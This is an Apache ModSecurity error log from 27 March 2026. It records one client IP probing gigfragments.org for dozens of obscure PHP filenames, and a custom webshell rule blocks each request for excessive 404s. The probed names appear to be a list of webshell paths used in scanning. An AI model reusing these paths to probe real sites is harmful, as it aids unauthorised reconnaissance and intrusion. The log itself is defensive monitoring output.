[Fri Mar 27 19:08:54.086325 2026] [:error] [pid 27743:tid 27780] [client 158.158.32.90:41027] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "acZlRiA46UYYLqzw99DGlQAAABA"]
[Fri Mar 27 19:08:54.626407 2026] [:error] [pid 4293:tid 4300] [client 158.158.32.90:41057] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aee.php"] [unique_id "acZlRpLjeJUC3OKtEx9bEgAAAUU"]
[Fri Mar 27 19:08:55.178817 2026] [:error] [pid 4293:tid 4314] [client 158.158.32.90:49522] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aee.php"] [unique_id "acZlR5LjeJUC3OKtEx9bEwAAAVM"]
[Fri Mar 27 19:08:55.770540 2026] [:error] [pid 4341:tid 4347] [client 158.158.32.90:31127] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aee.php"] [unique_id "acZlR-KJWrNB5dMlERGM5gAAAYQ"]
[Fri Mar 27 19:08:56.294418 2026] [:error] [pid 4341:tid 4351] [client 158.158.32.90:41062] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aee.php"] [unique_id "acZlSOKJWrNB5dMlERGM6wAAAYg"]
[Fri Mar 27 19:08:56.837312 2026] [:error] [pid 63897:tid 63918] [client 158.158.32.90:53333] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sweg.php"] [unique_id "acZlSGVSkmYmLu7ycYg94AAAARM"]
[Fri Mar 27 19:08:57.335802 2026] [:error] [pid 27851:tid 27863] [client 158.158.32.90:59268] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sweg.php"] [unique_id "acZlSXR2ccxe3RMCLbriVwAAAMU"]
[Fri Mar 27 19:08:57.856884 2026] [:error] [pid 27851:tid 27873] [client 158.158.32.90:41029] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sweg.php"] [unique_id "acZlSXR2ccxe3RMCLbriWQAAAM8"]
[Fri Mar 27 19:08:58.377752 2026] [:error] [pid 4293:tid 4299] [client 158.158.32.90:59985] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sweg.php"] [unique_id "acZlSpLjeJUC3OKtEx9bFgAAAUQ"]
[Fri Mar 27 19:08:58.941779 2026] [:error] [pid 4293:tid 4304] [client 158.158.32.90:41063] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sql.php"] [unique_id "acZlSpLjeJUC3OKtEx9bGgAAAUk"]
[Fri Mar 27 19:08:59.533165 2026] [:error] [pid 27743:tid 27786] [client 158.158.32.90:62710] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sql.php"] [unique_id "acZlSyA46UYYLqzw99DGmwAAABY"]
[Fri Mar 27 19:09:00.030150 2026] [:error] [pid 4293:tid 4319] [client 158.158.32.90:59976] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sql.php"] [unique_id "acZlTJLjeJUC3OKtEx9bJAAAAVg"]
[Fri Mar 27 19:09:00.524577 2026] [:error] [pid 27743:tid 27779] [client 158.158.32.90:60565] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sql.php"] [unique_id "acZlTCA46UYYLqzw99DGngAAAA8"]
[Fri Mar 27 19:09:01.073249 2026] [:error] [pid 27851:tid 27858] [client 158.158.32.90:59314] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "acZlTXR2ccxe3RMCLbriWwAAAMA"]
[Fri Mar 27 19:09:01.573041 2026] [:error] [pid 27743:tid 27766] [client 158.158.32.90:43460] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "acZlTSA46UYYLqzw99DGoAAAAAI"]
[Fri Mar 27 19:09:02.082803 2026] [:error] [pid 4341:tid 4354] [client 158.158.32.90:63905] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "acZlTuKJWrNB5dMlERGM8AAAAYs"]
[Fri Mar 27 19:09:02.606650 2026] [:error] [pid 27743:tid 27780] [client 158.158.32.90:55690] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "acZlTiA46UYYLqzw99DGowAAABA"]
[Fri Mar 27 19:09:03.211116 2026] [:error] [pid 27743:tid 27783] [client 158.158.32.90:59306] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "acZlTyA46UYYLqzw99DGpQAAABM"]
[Fri Mar 27 19:09:03.835684 2026] [:error] [pid 27743:tid 27771] [client 158.158.32.90:43517] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "acZlTyA46UYYLqzw99DGqQAAAAc"]
[Fri Mar 27 19:09:04.404269 2026] [:error] [pid 27750:tid 27823] [client 158.158.32.90:53332] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "acZlUIaSil5rd17ieLzmXwAAAIU"]
[Fri Mar 27 19:09:04.897414 2026] [:error] [pid 4293:tid 4295] [client 158.158.32.90:55731] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "acZlUJLjeJUC3OKtEx9bKgAAAUA"]
[Fri Mar 27 19:09:05.431980 2026] [:error] [pid 27743:tid 27772] [client 158.158.32.90:31105] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acZlUSA46UYYLqzw99DGrgAAAAg"]
[Fri Mar 27 19:09:05.947709 2026] [:error] [pid 27743:tid 27783] [client 158.158.32.90:59959] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acZlUSA46UYYLqzw99DGsAAAABM"]
[Fri Mar 27 19:09:06.538991 2026] [:error] [pid 27743:tid 27770] [client 158.158.32.90:53318] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acZlUiA46UYYLqzw99DGtQAAAAY"]
[Fri Mar 27 19:09:07.055818 2026] [:error] [pid 27743:tid 27771] [client 158.158.32.90:63989] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acZlUyA46UYYLqzw99DGtgAAAAc"]
[Fri Mar 27 19:09:07.576331 2026] [:error] [pid 27743:tid 27787] [client 158.158.32.90:63944] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "acZlUyA46UYYLqzw99DGtwAAABc"]
[Fri Mar 27 19:09:08.112113 2026] [:error] [pid 27750:tid 27841] [client 158.158.32.90:49483] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "acZlVIaSil5rd17ieLzmZQAAAJc"]
[Fri Mar 27 19:09:08.743111 2026] [:error] [pid 4293:tid 4303] [client 158.158.32.90:59325] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "acZlVJLjeJUC3OKtEx9bLQAAAUg"]
[Fri Mar 27 19:09:09.341251 2026] [:error] [pid 4293:tid 4318] [client 158.158.32.90:59946] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "acZlVZLjeJUC3OKtEx9bLgAAAVc"]
[Fri Mar 27 19:09:09.920346 2026] [:error] [pid 4293:tid 4316] [client 158.158.32.90:63994] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roter.php"] [unique_id "acZlVZLjeJUC3OKtEx9bMgAAAVU"]
[Fri Mar 27 19:09:28.438469 2026] [:error] [pid 27743:tid 27767] [client 158.158.32.90:60002] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Q73BO.php"] [unique_id "acZlaCA46UYYLqzw99DG3QAAAAM"]
[Fri Mar 27 19:09:29.028649 2026] [:error] [pid 4341:tid 4364] [client 158.158.32.90:59296] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Q73BO.php"] [unique_id "acZlaeKJWrNB5dMlERGNFAAAAZU"]
[Fri Mar 27 19:09:29.601370 2026] [:error] [pid 27750:tid 27819] [client 158.158.32.90:55724] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Q73BO.php"] [unique_id "acZlaYaSil5rd17ieLzmegAAAIE"]
[Fri Mar 27 19:09:30.179522 2026] [:error] [pid 4341:tid 4366] [client 158.158.32.90:43473] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Q73BO.php"] [unique_id "acZlauKJWrNB5dMlERGNGAAAAZc"]
[Fri Mar 27 19:09:30.684961 2026] [:error] [pid 63897:tid 63919] [client 158.158.32.90:60556] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rmpoa.php"] [unique_id "acZlamVSkmYmLu7ycYg-HQAAARQ"]
[Fri Mar 27 19:09:31.211834 2026] [:error] [pid 27743:tid 27774] [client 158.158.32.90:41053] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rmpoa.php"] [unique_id "acZlayA46UYYLqzw99DG4AAAAAo"]
[Fri Mar 27 19:09:31.703435 2026] [:error] [pid 63897:tid 63908] [client 158.158.32.90:53335] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rmpoa.php"] [unique_id "acZla2VSkmYmLu7ycYg-IwAAAQk"]
[Fri Mar 27 19:09:32.184538 2026] [:error] [pid 27743:tid 27779] [client 158.158.32.90:59967] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rmpoa.php"] [unique_id "acZlbCA46UYYLqzw99DG4QAAAA8"]
[Fri Mar 27 19:09:32.678692 2026] [:error] [pid 27851:tid 27868] [client 158.158.32.90:46239] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "acZlbHR2ccxe3RMCLbribwAAAMo"]
[Fri Mar 27 19:09:33.182033 2026] [:error] [pid 4293:tid 4297] [client 158.158.32.90:63881] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "acZlbZLjeJUC3OKtEx9bUQAAAUI"]
[Fri Mar 27 19:09:33.714426 2026] [:error] [pid 4293:tid 4304] [client 158.158.32.90:63888] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "acZlbZLjeJUC3OKtEx9bVAAAAUk"]
[Fri Mar 27 19:09:34.280523 2026] [:error] [pid 4341:tid 4362] [client 158.158.32.90:62657] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "acZlbuKJWrNB5dMlERGNIgAAAZM"]
[Fri Mar 27 19:09:34.879160 2026] [:error] [pid 27743:tid 27770] [client 158.158.32.90:59930] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "acZlbiA46UYYLqzw99DG6AAAAAY"]
[Fri Mar 27 19:09:35.470445 2026] [:error] [pid 4341:tid 4360] [client 158.158.32.90:63956] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "acZlb-KJWrNB5dMlERGNJwAAAZE"]
[Fri Mar 27 19:09:35.968620 2026] [:error] [pid 4293:tid 4316] [client 158.158.32.90:43504] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "acZlb5LjeJUC3OKtEx9bVgAAAVU"]
[Fri Mar 27 19:09:36.468449 2026] [:error] [pid 4293:tid 4301] [client 158.158.32.90:55734] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "acZlcJLjeJUC3OKtEx9bWgAAAUY"]
[Fri Mar 27 19:09:37.072647 2026] [:error] [pid 27851:tid 27866] [client 158.158.32.90:43514] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "acZlcXR2ccxe3RMCLbridgAAAMg"]
[Fri Mar 27 19:09:37.563276 2026] [:error] [pid 27851:tid 27875] [client 158.158.32.90:63961] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "acZlcXR2ccxe3RMCLbridwAAANE"]
[Fri Mar 27 19:09:38.064301 2026] [:error] [pid 4341:tid 4361] [client 158.158.32.90:63935] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "acZlcuKJWrNB5dMlERGNLgAAAZI"]
[Fri Mar 27 19:09:38.604717 2026] [:error] [pid 4293:tid 4304] [client 158.158.32.90:63916] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "acZlcpLjeJUC3OKtEx9bYQAAAUk"]
[Fri Mar 27 19:09:39.488726 2026] [:error] [pid 27749:tid 27795] [client 158.158.32.90:59292] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelio1.php"] [unique_id "acZlc8EqyoMni2Q6_X7pKQAAAEQ"]
[Fri Mar 27 19:09:40.014478 2026] [:error] [pid 4293:tid 4311] [client 158.158.32.90:49508] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelio1.php"] [unique_id "acZldJLjeJUC3OKtEx9bZgAAAVA"]
[Fri Mar 27 19:09:40.499537 2026] [:error] [pid 4293:tid 4305] [client 158.158.32.90:59936] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelio1.php"] [unique_id "acZldJLjeJUC3OKtEx9bZwAAAUo"]
[Fri Mar 27 19:09:40.998461 2026] [:error] [pid 27750:tid 27832] [client 158.158.32.90:62677] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelio1.php"] [unique_id "acZldIaSil5rd17ieLzmfgAAAI4"]
[Fri Mar 27 19:09:41.488959 2026] [:error] [pid 27851:tid 27859] [client 158.158.32.90:49487] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "acZldXR2ccxe3RMCLbriewAAAME"]
[Fri Mar 27 19:09:41.978967 2026] [:error] [pid 27749:tid 27802] [client 158.158.32.90:25502] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "acZldcEqyoMni2Q6_X7pKwAAAEs"]
[Fri Mar 27 19:09:42.457793 2026] [:error] [pid 63897:tid 63923] [client 158.158.32.90:31110] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "acZldmVSkmYmLu7ycYg-MwAAARg"]
